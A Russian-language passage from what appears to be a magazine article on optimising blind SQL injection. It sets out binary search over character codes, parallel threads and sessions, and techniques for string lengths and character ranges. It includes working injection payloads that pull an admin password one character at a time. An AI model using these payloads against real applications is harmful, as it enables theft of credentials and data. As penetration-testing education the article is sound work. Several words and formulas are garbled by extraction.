count(*)>50 from information_schema.tables),id, name)) Ес­ли говорить более форм­ аль­но, то за один зап­рос мы можем получить 1 бит информац­ ии из  базы данн­ ых. Для  получен­ ия тек­сто­вой информа­ции мож­но делать полн­ ый перебор всех воз­можных симв­ олов сле­дующим обра­зом: order=(if( (select substring(password,1,1)='a' from users where username='admin'),id,name)) order=(if( (select substring(password,1,1)='b' from users where username='admin'),id,name)) order=(if( (select substring(password,1,1)='c' from users where username='admin'),id,name)) ... Но это долг­ о — нужн­ о сде­лать столь­ко зап­росов, сколь­ко букв мы хотим про‐­ верить. Именн­ о поэто­му, чтоб­ ы уско­рить про­цесс, приб­ егаю­ т к  бинарн­ ому поиск­ у. Как выполнить бинарный поиск Пе­реве­дем симв­ ол иском­ ой стро­ки в  его ASCII-код и  сдел­ аем некото­рое предп­ оложен­ ие о  возм­ ожных знач­ ени­ях это­го симв­ ола. Нап­ример, мож­но предп­ оложить, что он лежит в ниж­ней полови­не ASCII-таб­лицы, то есть имее­ т код в  диапаз­ оне от  0x00 до  0x7f. Раз­делим этот диапаз­ он пополам и  спро‐­ сим у БД — в какой полови­не диапа­зона находитс­ я симв­ ол? order=(if( (select ascii(substring(password,1,1))>0x3f from users where username='admin'),id,name)) Есл­ и сим­вол окаж­ ет­ся боль­ше 0x3f, зна­чит, целевой диапа­зон сужае­ тся до  0x40-0x7f, если меньш­ е  — до  0x00-0x3f. Далее находим середи­ну диапаз­ она и  сно­ва спра­шива­ем у  БД: целевой сим­вол боль­ше середи­ны или  мень­ше? Потом снов­ а сужа­ем диапаз­ он и  про­дол­жаем до  тех пор, пока в диапаз­ оне не остан­ ет­ся ров­но одно зна­чение. Это зна­чение и будет отве‐­ том. В дан­ном слу­чае для  поис­ка точн­ ого зна­чения симв­ ола нам потр­ ебуе­ тся ров­но l og2 (128) = 7 зап­росов. ​ ФАКТОРЫ, ВЛИЯЮЩИЕ НА СКОРОСТЬ ЭКСПЛУАТАЦИИ Те­перь разб­ ерем­ся, что ог­раничив­ ает скор­ ость эксп­ лу­ата­ции инъ-­ екции: • При экс­плу­ата­ции Blind SQL-инъе­ кции ата­кующий отправл­ яет запр­ осы на  один и  тот же эндпо­инт. Один такой запр­ ос обра­батыв­ аетс­ я веб‑сер‐­ вером некото­рое вре­мя. Обозн­ ачим сред­нее врем­ я выполн­ ения зап‐­ роса — t0 . Разб­ рос вре­мени выпол­нения зап­росов обыч­но невелик. ​ • Веб‑серв­ ер может обраб­ атыв­ ать некотор­ ое количес­тво зап­росов парал‐­ лель­но. Оно зависит от  количест­ ва физическ­ их веб‑сер­веров за  балан‐­ сировщ­ иком, потоков веб‑при­ложе­ния, ядер на  серв­ ере СУБД и  т.д. Его можн­ о выясн­ ить экспе­римент­ аль­но. Обозн­ ачим количест­ во запр­ осов к веб‑сер­веру — n0 . ​ • Соо­ тветс­твенн­ о, прил­ ожен­ ие не  будет обраб­ аты­вать боль­ше чем F0 ​ = n0 ​ t0 ​ ​ зап­росов в  секунд­ у. Мы можем отправ­ ить и  боль­ше зап­росов в  секун­ду, но они будут попадать в оче­редь и ждать обраб­ от­ки, поэтом­ у общая ско‐­ рость обра­бот­ки запр­ осов не  пре­высит F0 . Данн­ ый параметр может ​ менятьс­ я в зависим­ ос­ти от текущей нагр­ узки на прил­ оже­ние и быть непос‐­ тоянн­ ым, но не суть. Выв­ од: cкор­ ость, с  которой мы можем вынимать дан­ные, сост­ авляе­ т ~=F0​ бит в  секун­ду. Это  основное огра­ниче­ние по  скор­ ост­ и экс­плуа­ та­ции слеп­ ых SQL-инъе­ кций. ОБЩИЕ ИДЕИ ПОВЫШЕНИЯ ПРОИЗВОДИТЕЛЬНОСТИ Работа с сессиями Веб‑прил­ ожен­ ие может не  выпол­нять паралель­ные запр­ осы в  рамк­ ах одной сес­сии (напр­ имер, так работа­ет PHP). Если мы видим, что подб­ ор идет в один поток, то нужн­ о созд­ ать по сес­сии для каж­дого потока под­бора. Такж­ е, если веб‑прил­ ожен­ ие выполн­ яетс­ я на  нес­кольк­ их сер­верах и  использ­ ует баланс­ ировк­ у на  основ­ е Sticky Sessions, все запр­ осы в  рамк­ ах сесс­ ии отправ­ляютс­ я на один и тот же серв­ ер. Мы можем соз­дать несколько сесс­ ий на  раз­ных сер­верах и  расп­ ред­ елить запр­ осы равн­ омер­но по  ним. В  обраб­ отк­ у запр­ осов будет вов­лечено боль­шее количес­тво сер­веров  — след­ оват­ ельн­ о, n0​ повыситьс­ я, а вмес­те с ним и общая ско­рость ата­ки. Многопоточность По­лучить боль­ше чем F0​ битов в  секунд­ у мы не  можем никак. Однак­ о мы можем грам­ от­но расп­ орядитьс­ я име­ющей­ся ско­ростью и  тем самым уве‐­ личить общую ско­рость пров­ еде­ния ата­ки. Как прав­ ило, наша задача  — вытащить неск­ ольк­ о колонок из  одной таб‐­ лицы (возм­ ожно, с при­менен­ ием фильт­ ра WHERE). Реали­зация такой атак­ и «в лоб» сос­тоит из сле­дующих задач: 1. Опр­ еделить количес­тво строк, которое надо вер­нуть. 2. Для кажд­ ой строк­ и и  колонк­ и, которые надо верн­ уть, опре­делить дли­ну стро­ки. 3. Вып­ олн­ ить поиск каж­дого симв­ ола целевой стро­ки. Если мы счи­таем, что нам нуж­ны тольк­ о станд­ арт­ ные симв­ олы из  ниж­ней половин­ ы ASCII-таб‐­ лицы (0x00-0x7f), то это 7 зап­росов на один сим­вол. Банальная реализация При баналь­ной реали­зации «в лоб» рас­парал­леливан­ ие делае­ тся толь­ко на третье­ м этап­ е. На перв­ ом и втор­ ом этап­ е идет подб­ ор в 1 поток, это озна‐­ чает, что скор­ ость сос­тавляе­ т 1 запр­ осов в секунд­ у вмест­ о дос­тупных .n0 ​ t0 ​ t0 ​ ​ На третье­ м эта­пе рас­парал­лелива­ние дела­ется таким образ­ ом. Допус­тим, веб‑при­ложен­ ие обра­батыв­ ает n0​ одноврем­ енн­ ых зап­росов, а  длин­ а строк­ и сос­тавля­ет X. Таким обра­зом мы можем выпол­нять n0​ парал­лельн­ ых задач, кажд­ ую из которых удобн­ о помес­тить в отдель­ный поток. Сна­чала опре­деля­ем пер­вые n0​ сим­волов строк­ и паралл­ ель­но. Нужн­ о помн­ ить, что мы не можем использ­ овать все дос­тупные потоки для опре­деле‐­ ния какого‑то одно­го симв­ ола, так как  бинар­ный поиск треб­ ует получен­ ия отве­та на пред­ ыдущ­ ий зап­рос для фор­мирова­ния нового запр­ оса. По мере завер­шения поиск­ а сим­волов мы запуск­ аем новые потоки для сле­дующих симв­ олов той же строк­ и. Но так как скор­ ость выполн­ ения зап‐­ росов при­мер­но один­ аков­ а, новые n0​ потоков мы запуст­ им при­мерн­ о тог­да, когд­ а перв­ ые n0​ потоков завер­шатся, а  именн­ о через 7 ∗ t0​ секунд (если ищем в диапа­зоне 0x00-0x7f). Есл­ и дли­на стро­ки кратн­ а n0 , то все хорошо и  все потоки будут работать ​ на  мак­симальн­ ой ско­рос­ти. Если же нет, то посл­ едняя груп­па пос­ле крат‐­ ности n0 ​ будет работать в  X  mod (n0 ) потоков. Осталь­ные потоки будут прос‐­ ​ таивать. Наконец, если длин­ а строк­ и случ­ айн­ ая, то очев­ ид­но, что в  сред­нем посл­ едняя груп­па будет работать тольк­ о на 50% от макс­ имальн­ ой ско­рост­ и. Более производительный вариант Для уве­личен­ ия ско­рост­ и мож­но лучш­ е использ­ овать паралл­ ель­ность: запус‐­ тить пер­вый поток для  решения задачи  1, а  оставшие­ ся n0​ − 1 сво­бод­ных потоков сраз­ у запус­тить на  опре­делен­ ие длин строк для  перв­ ых n0 −1 строк, ​ c​ где c — количес­тво колонок. Если ока­жет­ся, что строк нуж­но запр­ осить мень‐­ ше, чем мы опред­ ели­ли, то часть потоков отраб­ ота­ла бес­смыс­ленно. Но ина‐­ че они  бы прос­то прос­таива­ли, так что скор­ ость ата­ки не  упад­ ет, но  может увел­ ичитьс­ я. Можн­ о пойт­ и и  еще даль­ше, сде­лав вероя­ тное допущен­ ие о  том, что целевые строк­ и имею­ т дли­ну не меньш­ е, нап­ример, 3-х симв­ олов. Не завер‐­ шив ни  задачу  1, ни  задачу  2, начать выпол­нять задачу  3, начать опре­делять перв­ ые 3 сим­вола перв­ ых целевых строк. Пос­ле такого стар­та, если грам­ отн­ о рас­порядить­ся потокам­ и (нап­ример, иметь уже опре­деленн­ ые длин­ ы для нес‐­ коль­ких сле­дующих строк заранее), можн­ о под­держив­ ать общую ско­рость ~= F0 . ​ ОСНОВНЫЕ ЗАДАЧИ ЭКСПЛУАТАЦИИ В данн­ ом раз­деле рас­смотр­ им две типовые задачи, воз­ника­ющие при  экс‐­ плу­атац­ ии сле­пых SQL-инъе­ кций и спо­собы их эффектив­ного решения: опре‐­ делен­ ие количес­тва записей и длин­ ы строк и поиск целых чисел. Определение количества записей и длины строк Опр­ еделе­ние количест­ ва воз­вра­щаемых записей (row) и длин­ ы строк — схо‐­ жие задачи, но они не так три­виаль­ны, как могут изнач­ аль­но показать­ся. Бин­ арн­ ый поиск может искать зна­чение в  рамк­ ах какого‑то диапа­зона, у которог­ о есть минимальн­ ое и мак­симальн­ ое знач­ ение. Так, при опред­ еле‐­ нии симв­ олов мы знае­ м, что они, скор­ ее всег­ о, лежат в диапа­зоне 0x00-0x7f и  точн­ о попадаю­ т в  0x00-0xff (Unicode пока опус­тим, хотя и  для него тоже можн­ о задать макс­ ималь­ную гра­ницу диапа­зона). Для опред­ елен­ ия же количес­тва записей и  длин­ ы строк мы не  облад­ аем такой информа­цией, поэтом­ у теорет­ ичес­ки целевое зна­чение может быть абсол­ ют­но любым. Такж­ е важ­но отмет­ ить, что опре­деле­ние количес­тва записей  — это  опе‐­ рация, которая делае­ тся один раз для  каж­дого запр­ оса. А  вот длин­ а стро­ки опред­ еля­ется мног­ окр­ атно, поэтом­ у оптим­ иза­ция опре­деле­ния длин­ ы стро­ки явля­ется более прио­ рит­ етн­ ой задачей. Определяем длину строки (банальный способ) Сна­чала я при­веду банальн­ ый алгор­ итм, который позв­ оляе­ т опре­делить дли‐­ ну строк­ и. Изу­чив его и поняв сопутс­твую­ щие проб­лемы, мы смож­ ем обсу­дить пробл­ емы оценк­ и эффективн­ ости таких алго­ритм­ ов. Пер­вой идее­ й, которая при­ходит в голову, являе­ тся попыт­ка опре­делен­ ия зна­чения, которое больш­ е длин­ ы строк­ и (далее расс­ ужде­ния будут касатьс­ я тольк­ о дли­ны строк­ и, для опре­деле­ния количест­ ва row они ана­логичн­ ы). Пос‐­ ле обна­ружен­ ия такого знач­ ения мы уже можем сво­бод­но запус­тить бинар‐­ ный поиск. Так как  бинар­ный поиск име­ет наибольш­ ую эффектив­ность при  работе с  диапа­зона­ми, раз­мер которых равен точ­ной степ­ ени двой­ки (это будет показан­ о далее в статье), можн­ о отталки­ватьс­ я от какого‑то старт­ ового чис‐­ ла — точ­ной сте­пени двой­ки, напр­ имер 256. Алг­ оритм получае­ тся сле­дующий: 1. Сравн­ ива­ем длин­ у стро­ки с 256. 2. Ес­ли дли­на мень­ше, то запуск­ аем бинар­ный поиск, который будет тре‐­ бовать l n2 (256) = 8 зап­росов. ​ 3. Ес­ли дли­на больш­ е, то нам нуж­но уве­личить мак­сималь­ный диапаз­ он. Нап‐­ ример, мож­но умнож­ ить стар­ ую вер­хнюю гра­ницу на 24 и сравн­ ить с ней. Если ока­жетс­ я меньш­ е, то запус­каем бинар­ный поиск, если боль­ше, то умнож­ аем на 24 еще раз и так далее. Для рас­чета эффективн­ ости такого алго­рит­ма нам нужн­ о сдел­ ать пред‐­ положен­ ие о веро­ятнос­тном рас­пред­ елен­ ии длин иском­ ых строк. Такое пред‐­ положе­ние сде­лать непр­ осто, т.к. строк­ и будут сильн­ о зависеть от  смыс­ла, который они несут. Напр­ имер, email-адрес­ а име­ют одно рас­пре­деле­ние, тек‐­ стов­ ые пост­ ы  — дру­гое, а  хеши паролей вообщ­ е всег­да имею­ т оди­наков­ ую дли­ну. Такж­ е стои­ т учи­тывать обычн­ ые практ­ ичес­кие задачи. Эксп­ лу­атац­ ия сле‐­ пых SQL-инъ­екций — дело небыст­ рое. Ско­рее всег­ о, если мы нашл­ и стро­ку, длин­ а которой сос­тавля­ет  10  000  симв­ олов, нам не  будет инте­рес­но вынимать ее целиком. Воз­можно, мы заходим посм­ отреть на  пер‐­ вые 100 симв­ олов, что­бы понять, что вооб­ще в ней содерж­ ится. Та­ким образ­ ом, если длин­ а строк­ и больш­ е, чем, напр­ имер, 128 сим­волов, то нас и не интер­ есуе­ т ее точ­ная дли­на — мож­но в выводе прос­то ука­зать, что длин­ а больш­ е  128  сим­волов, и  при этом найт­ и толь­ко эти самые пер‐­ вые  128  сим­волов. В  ито­ге получа­ем, что на  опред­ елен­ ие длин­ ы строк­ и мы трат­ им 7 зап­росов, как на 1 сим­вол. На мой взгляд — вполн­ е при­емлем­ о. Определяем длину строки (небанальный способ) Так­же есть техн­ ика, в которой дли­ну стро­ки мож­но не опред­ елять в принц­ ипе. При опред­ еле­нии симв­ олов, как прав­ ило, использ­ уетс­ я конс­трук­ция ASCII(substring(target_col,n,1)) Есл­ и n боль­ше, чем дли­на строк­ и, то функ­ ция substring верн­ ет пуст­ ую стро‐­ ку, а  фун­кция ASCII от  пус­той строк­ и вер­нет 0x00 (это верн­ о для  MySQL и  PostgreSQL). Соотв­ етст­ венн­ о, как  толь­ко мы обнар­ ужи­ли нулевой сим­вол, мы счи­таем, что мы обна­ружи­ли пос­ледний сим­вол и дальш­ е искать не надо. В дан­ном подх­ оде мы осущ­ ест­вляе­ м поиск сим­вола за  пос­ледним, что дает лиш­них  7  запр­ осов. Трат­ ы ана­логич­ны тра­там на  опред­ елен­ ие дли­ны строк­ и. Такж­ е учтем, что в MSSQL и SQLite фун­кция substring верн­ ет не пус‐­ тую стро­ку, а NULL, как и функ­ ция ASCII/Unicode. Мож­но соз­давать особ­ ые конст­ рук­ции, при­водящ­ ие NULL в  0, одна­ко это  треб­ ует уве­личен­ ия длин­ ы зап­роса. Кро­ме того, мы долж­ ны акку­ратн­ о выс­тра­ивать парал­лельн­ ость: подб­ ор нес­коль­ких симв­ олов одноврем­ енн­ о может при­вест­ и к бес­полез­ному поис­ку за конц­ ом стро­ки и лишн­ ему рас­ходу зап­росов. Ес­ли нам все же тре­бует­ся опре­делить дли­ну строк­ и точн­ о (как и  точ­ное количес­тво возв­ ращ­ аемых записей), воз­можные техн­ ики при­веден­ ы далее. Поиск целых чисел Ес­ли иском­ ая колон­ка являе­ тся целочис­ленной, то у  нас есть баналь­ный вари­ант  — прив­ ес­ти чис­ло к  стро­ке и  получить его как  стро­ку. Так­же мы можем вос­польз­ оватьс­ я бинарн­ ым поис­ком, но  нам надо решить уже упо‐­ мянут­ ую проб­лему  — оп­ределить вер­хнюю гран­ ицу бинарн­ ого поис-­ ка: 1. Буд­ ем счи­тать, что разм­ ер числ­ а огран­ ичен  64  битами. При  этом числ­ о не  отри­цательн­ ое  — unsigned. Для  signed-чисел мож­но при­менить те же рас­сужден­ ия, оцен­ка не измен­ ит­ся. 2. Макс­ имальн­ ое  64-бит­ное чис­ло пред­став­ляет­ся стро­кой в  20  сим­волов. Таким образ­ ом, на опре­деле­ние длин­ ы строк­ и нуж­но 5 зап­росов, т.к. 25 = 32  — бли­жай­шая свер­ху точ­ная степ­ ень двойк­ и (на самом деле немн­ ого меньш­ е, как будет показан­ о ниже, но пока округлим в боль­шую стор­ ону). 3. Дальш­ е в  зависи­мос­ти от  длин­ ы строк­ и нужн­ о пот­ратить  3-4  зап­роса на кажд­ ую цифр­ у (почему так — смотр­ и ниже в разд­ еле «Сужение диапа‐­ зона поиск­ а»). Длин­ а строк­ и равн­ а ceil(log10 (N )), где N  — иском­ ое числ­ о. ​ 4. Та­ким образ­ ом, общее количес­тво запр­ осов — 5 + 3, 4 ∗ (ceil(log10 (N ))). ​ Мак­сималь­ное количест­ во запр­ осов для макс­ имальн­ ой дли­ны — 73. Баналь‐­ ный бинар­ный поиск на  все  64  бита тре­бует  64  запр­ оса вне зависи­мост­ и от раз­мера чис­ла. Для улучш­ ения алгор­ итм­ а мы можем: 1. Оп­ределить, сколь­ко в  числ­ е битов (l n2 (N )). Воз­можные знач­ ения  — ​ от 1 до 64, то есть нам потр­ ебуе­ тся 6 зап­росов (26 = 64). 2. Дальш­ е в зависи­мос­ти от количес­тва битов еще нуж­но стольк­ о зап­росов, сколь­ко в  чис­ле битов. Битов в  чис­ле  — ceil (l og2 (N )) , то есть в  сум­ме ​ получа­ется 6 + ceil(log2 (N )). ​ 3. Для сравн­ ения двух вариа­ нтов убер­ ем округле­ние и  прив­ едем фор­мулу оценк­ и обще­го количест­ ва запр­ осов к логариф­му по основ­ анию 2: 5 + 3, 4 ∗ l og10 (N ) = 5 + 3, 4 ∗ l og2 (N ) = 5 + 3,4 ∗ l og2 (N ). l og2 3,33 ​ ​ ​ (10) ​ ​ Видн­ о, что разн­ ица форм­ ул в  основном опис­ ывае­ тся дробью 3,4 ​ , которая 3,33 не силь­но отли­чаетс­ я от 1, то есть при­веденн­ ые алгор­ ит­мы имею­ т при­мерн­ о один­ ако­вую эффективн­ ость. Перв­ ый алго­ритм удоб­но исполь­зовать, когд­ а мы не зна­ем заранее тип колонк­ и, — мы можем всегд­ а все колон­ки конв­ ерти‐­ ровать в текс­ то­вый тип и получать работаю­ щую ата­ку (прав­да, ценой неболь‐­ шого удлин­ ения зап­роса). →Продолжение статьи

ВЗЛОМ ← НАЧАЛО СТАТЬИ САМЫЙ БЫСТРЫЙ УКОЛ ОПТИМИЗИРУЕМ BLIND SQL-ИНЪЕКЦИЮ РАБОТА С ДИАПАЗОНАМИ ПОИСКА В данн­ ом разд­ еле расс­ мот­рены раз­личные под­ходы к  экс­плуа­ тац­ ии слеп­ ых SQL-инъе­ кций при исполь­зовании раз­ных диапаз­ онов поиск­ а. Сужение диапазона поиска До этог­ о мы говорил­ и о  том, что для  опред­ еле­ния одно­го симв­ ола тре­бует‐­ ся  7  зап­росов, за  которые мы можем опре­делить зна­чение из  диапа­зона 0x00-0x7f (алфа­вит объе­ ма 27), что соотв­ етс­твуе­ т ниж­ней (английс­ кой) половин­ е табл­ ицы ASCII. Идея ускор­ ения сос­тоит в  том, что мы можем искать симв­ олы не  сре­ди всей нижн­ ей половин­ ы ASCII-таб­лицы, а сре­ди какого‑то ее под­множ­ ес­тва. Да­вай­те разб­ ерем прим­ ер, когд­ а нам извес­тно, что целевая стро­ка состоит исклю­читель­но из цифр, и оцен­ им скор­ ость подб­ ора. Алф­ авит под­бора име­ет мощ­ность 10. Для точ­ных степ­ еней 2 мы могл­ и бы взять прос­то логарифм по  основ­ анию  2  от  мощ­ности алфа­вита. Одна‐­ ко  10  не  явля­ется степ­ енью  2, а  знач­ ит, опре­делить количес­тво запр­ осов для опред­ елен­ ия сим­вола чуть сложн­ ее: 1. Пер­вый зап­рос покажет, вход­ ит сим­вол в  множ­ ест­ во [0,1,2,3,4] или в [5,6,7,8,9]. 2. Вто­рой зап­рос разобье­ т получен­ную групп­ у из  5  эле­мен­тов на  групп­ ы из 2 и 3 элем­ ен­тов: • [0,1] и [2,3,4] для пер­вого случ­ ая; • [5,6] и [7,8,9] для вто­рого слу­чая. 3. Тре­тий запр­ ос най­дет зна­чение в  слу­чае, если целевой сим­вол был в диапа­зонах [0,1] и [5,6]. 4. Для диапа­зонов [2,3,4] и  [7,8,9] одним запр­ осом мы можем сде­лать раз­деление на подд­ иапаз­ оны из одно­го и двух сим­волов: • [2,3,4] разобье­ м на [2] и [3,4]; • [7,8,9] разобье­ м на [7] и [8,9]. 5. Та­ким обра­зом сим­волы [2] и [7] будут най­дены треть­им запр­ осом. 6. Ес­ли целевой симв­ ол находит­ся в  [3,4] или  [8,9], то понадоб­ ит­ся еще один (чет­вертый) запр­ ос. Пол­ уча­ется, для 6 возм­ ожных зна­чений мы дела­ем 3 зап­роса, а для оставших‐­ ся 4 знач­ ений — 4 запр­ оса. Итог­ о в сред­нем мы дела­ем 3-4 запроса на один симв­ ол. Это более чем в 2 раза лучш­ е, чем полн­ ый бинар­ный поиск в диапа‐­ зоне из возм­ ожных 128 знач­ ений. Математическая оценка Оп­ределить средн­ ее количест­ во зап­росов для  симв­ ола из  алфа­вита мощ‐­ ностью N мож­но по фор­муле q = ((N − N2 ) ∗ 2 ∗ (l og2 (​ N2 ) + 1) + (N2 ​ ∗ 2 − N) ∗ l og2 (​ N2 ))/N ​ ​ ​ где N2  — бли­жай­шая сниз­ у к N пол­ная сте­пень чис­ла 2: N2 ​ = 2f l oor (l n2 (N )) . ​ ​ from math import log,floor def questions(N): pow2 = 2**floor(ln2(N)) return ((N-pow2)*2*(ln2(pow2)+1) + (pow2*2-N)*ln2(pow2))/N def ln2(x): return log(x)/log(2) Функ­ цию q мож­но апроксим­ иро­вать как  l og2 (N ), но  реаль­ное q будет всегд­ а ​ чуть больш­ е, чем log2 (N ) для N, не являю­ щих­ся точ­ной сте­пенью двойк­ и. ​ Определение ошибок Для дальн­ ейших расс­ ужде­ний разб­ ерем при­мер, в  котором мы предп­ олага‐­ ем, что целевой сим­вол являе­ тся малень­кой англий­ской букв­ ой из диапаз­ она a-z: 1. Бу­дем искать зна­чение соот­ветс­твую­ ще­го ASCII-кода в  диапаз­ оне чисел 97-122. Середи­ной диапаз­ она являе­ тся числ­ о 109,5. 2. Опр­ еделим, больш­ е ASCII-код целевог­ о симв­ ола, чем 109,5, или мень­ше: (ascii(substr(target_col,5,1)) from target_table limit 2,1)>109 Есл­ и ASCII-код меньш­ е, то целевой диапа­зон умень­шитс­ я до 97-109, если больш­ е — до 110-122. 3. Да­лее новый дипазон такж­ е бьет­ся на две час­ти и так далее, пока сим­вол не будет опре­делен. Та­ким образ­ ом, сред­нее количес­тво запр­ осов получае­ тся q(26) = 4, 77. Канареечные символы Есл­ и наше изнач­ альн­ ое предп­ оложен­ ие «целевым симв­ олом явля­ется маленьк­ ая английс­ кая букв­ а» — неверн­ ое, то мы получим в результ­ ате бинар‐­ ного поиск­ а одно из  гран­ ичн­ ых знач­ ений  — a или  z. Отлич­ ить такой случ­ ай от нас­тоящих букв «a» или «z» без допол­нительн­ ых зап­росов мы не смо­жем. Для  решения этой пробл­ емы мы можем добавить на  обеи­ х гра­ницах диапа‐­ зона по  сим­волу‑канарейк­ е  — то есть искать целевое знач­ ение мы будем не  в диапаз­ оне 97-122, как  в при­мере выше, а  в диапа­зоне 96-123. Если в  результ­ ате поис­ка будет получен­ о канаре­ечное зна­чение 96 или  123, мы смож­ ем понять, что изна­чаль­ное предп­ оложе­ние неверн­ о. Так­ ая тех­ника поз­воляе­ т использ­ овать диапаз­ онн­ ый поиск в слу­чае, ког­да мы с хорошей долей веро­ятности можем пред­положить об алфав­ ите кон­крет‐­ ного сим­вола, но  не уве­рены на  100%. При  этом стои­ т помн­ ить, что рас‐­ ширение диапа­зона канаре­ечным­ и сим­волами прив­ одит к уве­личе­нию сред‐­ него количес­тво запр­ осов на один сим­вол: с q(26) = 4, 77 до q(28) = 4, 86. Так­же необх­ одимо отмет­ ить, что если сим­вол отсутс­тво­вал в  диапа­зоне поис­ка, то нам потр­ ебуе­ тся к уже пот­рачен­ным зап­росам добавить: • q(97), если зна­чение меньш­ е 97; • q(5), если больш­ е 122. Есл­ и счит­ ать, что симв­ олы расп­ ред­ еле­ны рав­номер­но, то в сум­ме получае­ тся q(97) ∗ 97 + q(5) ∗ 5 + 4, 86 = 11, 33, что нам­ного боль­ше изна­чаль‐­ 102 ​ 102 ​ ных  7  запр­ осов. То есть пред­положе­ние о  диапаз­ оне дол­жно иметь дост­ аточ­но высокую вероя­ тность, ина­че попытк­ а ускор­ ения может оберн­ утьс­ я потерей прои­ зво­дитель­нос­ти. Поиск в диапазонах с разрывами Теп­ ерь рас­смот­рим поиск в  наборе воз­можных зна­чений, которые не  обра‐­ зуют непр­ ерывн­ ого диапаз­ она в ASCII-табл­ ице. Напр­ имер, наша цель — шес‐­ тнад­цатерич­ная строк­ а, набор знач­ ений [0-9A-F]. Для  решения дан­ной задачи можн­ о пред­ложить две техн­ ики: • инъ­екция с помощью опер­ ато­ров IN и NOT IN; • пои­ ск с игнор­ иров­ ание­ м разр­ ывов. Инъекция с помощью операторов IN и NOT IN Спи­сок допус­тимых ASCII-кодов в  расс­ мат­рива­емом случ­ ае: [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102]. Мы можем раз­делить этот перечень пополам и  спраш­ ивать у  СУБД, попадае­ т ли иско‐­ мый сим­вол в под­спис­ ок. Усло­вие тог­да будет выг­лядеть прим­ ер­но так: (ascii(substr(target_col,5,1)) from target_table limit 2,1) in (48, 49, 50, 51, 52, 53, 54, 55) Ес­ли усло­вие выполн­ ится, то целевое зна­чение будет находит­ся в  наборе [ 48, 49, 50, 51, 52, 53, 54, 55]. Если нет — то в наборе [56, 57, 97, 98, 99, 100, 101, 102]. Далее, шаг за шагом раз­деляя получен­ные диапа‐­ зоны пополам, мы получим целевое знач­ ение. На  опред­ елен­ ие одног­ о сим‐­ вола будет пот­рачено q(16) = 4 запр­ оса. Cто­ит отмет­ ить, что в  данн­ ом случ­ ае при­сутс­твуе­ т та же пробл­ ема, что и для диапаз­ онов: есл­ и мы не  увер­ ены в  изна­чаль­ном пред­положе-­ нии об  алфав­ ите поиск­ а, то ошиб­ку мы не  обна­ружим. Для  ее решения можн­ о: • доб­ авить к  алфа­виту одно псев­дознач­ ение, которое будет соотв­ етст­ во‐­ вать сра­зу всем сим­волам, не вошед­шим в алфав­ ит; • для поис­ка исполь­зовать исключ­ ительн­ о конс­трук­цию NOT IN. При­мер: 1. Расс­ мот­рим случ­ ай, ког­да алфа­вит поис­ка сост­ оит из  трех зна­чений [1, 3, 5]. 2. До­бавим к зна­чения­ м [1, 3, 5] псевд­ озна­чение N — получим [1, 3, 5, N]. 3. Сдел­ аем запр­ ос (ascii(substr(target_col,5,1)) from target_table limit 2,1) NOT IN (1,3). Если получим False, то целевой сим­вол либо 1, либо 3, и сле­дующим зап­росом мы получим точ­ный ответ. Если же мы получи­ли True, то ответ либо равен  5, либо мы ошиб­лись с  диапа‐­ зоном. 4. Сдел­ аем точ­ное сравн­ ение с 5: (ascii(substr(target_col,5,1)) from target_table limit 2,1) NOT IN (5). Если получи­ли True, знач­ ит, мы ошиб­лись в нашем изна­чальн­ ом пред­положен­ ии об алфав­ ите. Эта тех­ника лучш­ е, чем пред­ложенн­ ые выше канарее­ чные симв­ олы на  кра­ях диапаз­ она, так как c исполь­зование­ м опер­ атор­ а NOT IN мы можем осу­щест‐­ влять бинарн­ ый поиск в диапаз­ онах с раз­рывами, при этом для обна­руже­ния ошиб­ки нам при­детс­ я уве­личить разм­ ер алфа­вита всег­ о на 1. К недос­таткам этой тех­ники мож­но отнести удли­нение зап­роса в силу перечисл­ ения полови‐­ ны алфа­вита в парамет­ре опер­ ато­ров IN и NOT IN. Поиск с игнорированием разрывов Еще одна воз­можность решить задачу поис­ка в  диапа­зоне с  раз­рывом [0- 9A-F] — выпол­нить поиск с игнор­ иров­ ание­ м разр­ ывов в диапа­зоне: 1. Раз­делим пополам диапаз­ он [48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 97, 98, 99, 100, 101, 102]. Гра­ница диапаз­ она будет про­ходить меж­ду симв­ олами 55 и 56. 2. Сдел­ аем зап­рос с  помощью опер­ атор­ а сравн­ ения: (ascii(substr( target_col,5,1)) from target_table limit 2,1) > 55. Ответ поз‐­ воля­ет выбр­ ать одну из половин изнач­ альн­ ого диапа­зона. Эту техн­ ику нужн­ о прим­ енять, пока в диапа­зоне не оста­нетс­ я ровн­ о 1 симв­ ол. В резуль­тате нам так­же потр­ ебуе­ тся q(16) = 4 запр­ оса. Дан­ная тех­ника может быть допол­нена для выполн­ ения поиск­ а ошиб­ ок с помощью канарее­ чных сим­волов. 1. Доб­ авим к переч­ню зна­чений, которые мы ищем, канаре­ечные знач­ ения: • одн­ о мень­ше самого малень­кого — 47; • одн­ о боль­ше самого боль­шого — 103; • од­но в проп­ ус­ке, нап­ример 58. 2. Вы­пол­ним поиск так же, как указ­ ано выше. Cпис­ ок возм­ ожных знач­ ений — [47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 97, 98, 99, 100, 101, 102, 103]. 3. Най­дем середи­ну диапаз­ она (56) и выполн­ им сравн­ ение: (ascii(substr( target_col,5,1)) from target_table limit 2,1) > 56. 4. В результ­ ате выполн­ ения зап­роса мы получим информац­ ию о  том, что целевое знач­ ение лежит в одном из двух наборов: • [47, 48, 49, 50, 51, 52, 53, 54, 55, 56]; • [57, 58, 97, 98, 99, 100, 101, 102, 103]. 5. Выб­ ерем середи­ну диапаз­ она, отпра­вим запр­ ос, раз­делим набор на  две час­ти и так далее. 6. В итог­ е мы либо получим зна­чение из  изна­чальн­ ого диапа­зона поиск­ а (оно и будет отве­том), либо канаре­ечные зна­чения 47, 103 или 58 (любое из  этих зна­чений покажет, что целевог­ о симв­ ола в  диапаз­ оне не  было). Так­же мы получим информа­цию о том, целевой симв­ ол больш­ е 102, мень‐­ ше 48 или лежит на отрезке 59-96. Ес­ли предп­ олага­емый диапа­зон име­ет более одно­го раз­рыва (пусть их r), то количес­тво канарее­ чных симв­ олов воз­раста­ет: нуж­но исполь­зовать гра­ницы 2 + r. Исп­ оль­зование диапаз­ онов с  боль­шим количест­ вом раз­рывов сниж­ ает потен­циальн­ ую про­изво­дительн­ ость за  счет больш­ его количес­тва канаре‐­ ечных сим­волов. Зап­росы в данн­ ом случ­ ае короче, чем те, которые прим­ еня‐­ ются при  исполь­зовании опе­рато­ров IN и  NOT IN. В  слу­чае ошиб­ки мы 